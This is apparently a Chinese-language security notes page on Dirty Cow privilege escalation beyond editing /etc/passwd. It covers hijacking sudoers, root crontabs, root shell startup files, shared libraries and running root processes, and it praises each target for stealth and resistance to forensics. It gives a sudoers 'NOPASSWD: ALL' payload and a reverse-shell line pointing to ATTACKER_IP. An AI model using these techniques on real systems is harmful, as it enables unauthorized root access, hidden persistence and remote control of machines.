15-33
约 930 字大约 3 分钟
2025-11-02
除了修改 /etc/passwd 外还可以利用 Dirty Cow 漏洞劫持哪些关键文件或内存区域来实现提权
一、关键文件劫持
直接修改 /etc/passwd 可能会留下明显的日志和入侵痕迹。以下这些文件提供更隐蔽的提权路径:
1. 劫持 sudoers 文件或其配置片段
- 目标:
/etc/sudoers或/etc/sudoers.d/*下的任意配置文件 - 攻击原理: 利用 Dirty Cow 写入一行配置,允许当前低权限用户无需密码即可执行特定命令或所有命令 (
NOPASSWD: ALL) - Payload 示例: 写入一行
user ALL=(ALL) NOPASSWD: ALL,其中user是我们当前的低权限用户名 - 优点: 相比于修改
passwd文件,劫持sudoers无需重启或等待登录,权限提升是即时的
2. 劫持 Root 用户的定时任务 (Crontabs)
- 目标:
/var/spool/cron/crontabs/root(在某些发行版上,如 Debian/Ubuntu) 或其他系统级别的 Crontab 文件(如/etc/crontab) - 攻击原理: 利用 Dirty Cow 写入一行定时任务,该任务将在下一次执行时以 Root 权限运行我们的 Payload(例如,反弹 Shell 或创建 SUID 文件)
- 优点: 提供持久性和间接提权。攻击载荷隐藏在定时任务中,不直接修改系统核心凭证文件
3. 劫持 Shell 启动文件(持久化)
- 目标: Root 用户的 Shell 启动文件,如
/root/.bashrc或/root/.profile - 攻击原理: 在这些文件中追加我们的恶意命令。当 Root 用户下一次登录并启动 Shell 时,我们的代码将被执行
- Payload 示例: 写入一行
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1(反弹 Root Shell) - 优点: 实现了 持久性,利用的是用户正常的登录流程
二、利用动态链接库 (Shared Libraries) 劫持
这是更高级和更隐蔽的利用方法,旨在通过系统级的动态链接机制来触发 Root 权限代码执行。
1. 劫持系统关键库函数
- 目标: 系统关键的动态链接库,如
/lib/x86_64-linux-gnu/libc.so.6或/lib/ld-linux.so.2 - 攻击原理: 这是极其危险的利用。利用 Dirty Cow 覆盖这些库文件中极小的、不常用的函数代码,用我们的 Shellcode 替换它们。当任何以 Root 权限运行的程序调用到这个被劫持的函数时,我们的 Shellcode 就会以 Root 权限执行
- 优点: 隐蔽性极高,因为只修改了库中的极小片段,而非整个文件
2. 劫持 SUID/SGID 程序的依赖库
- 目标: 任何以 Root 权限运行的 SUID/SGID 程序(如
/bin/ping,/usr/bin/passwd等)所依赖的动态链接库 - 攻击原理: 利用 Dirty Cow 劫持这些 SUID 程序在运行时会加载的一个依赖库文件(例如,
libnss_files.so.2)。在库中写入恶意代码,当 SUID 程序被执行时,它会加载并执行我们的恶意代码,从而获得 SUID 程序的权限(通常是 Root)
三、内存区域劫持:即时提权
Dirty Cow 的一个独特之处在于其对内存区域的劫持能力,这提供了即时提权的可能性
1. 劫持 Root 进程的内存空间
- 目标: 任何当前正在运行的 Root 进程(例如,
sshd、crond、systemd) - 攻击原理: 尽管不能直接对整个进程内存进行操作,但可以通过读取该进程的
/proc/[PID]/maps文件,找到其 Text Segment (代码段) 中映射的内存页。利用 Dirty Cow,覆盖该进程代码段中的某个不常用指令,用JMP或 Shellcode 替换,从而劫持进程的执行流程 - 优点: 提权是即时的,且不涉及任何文件的磁盘写入,取证难度极高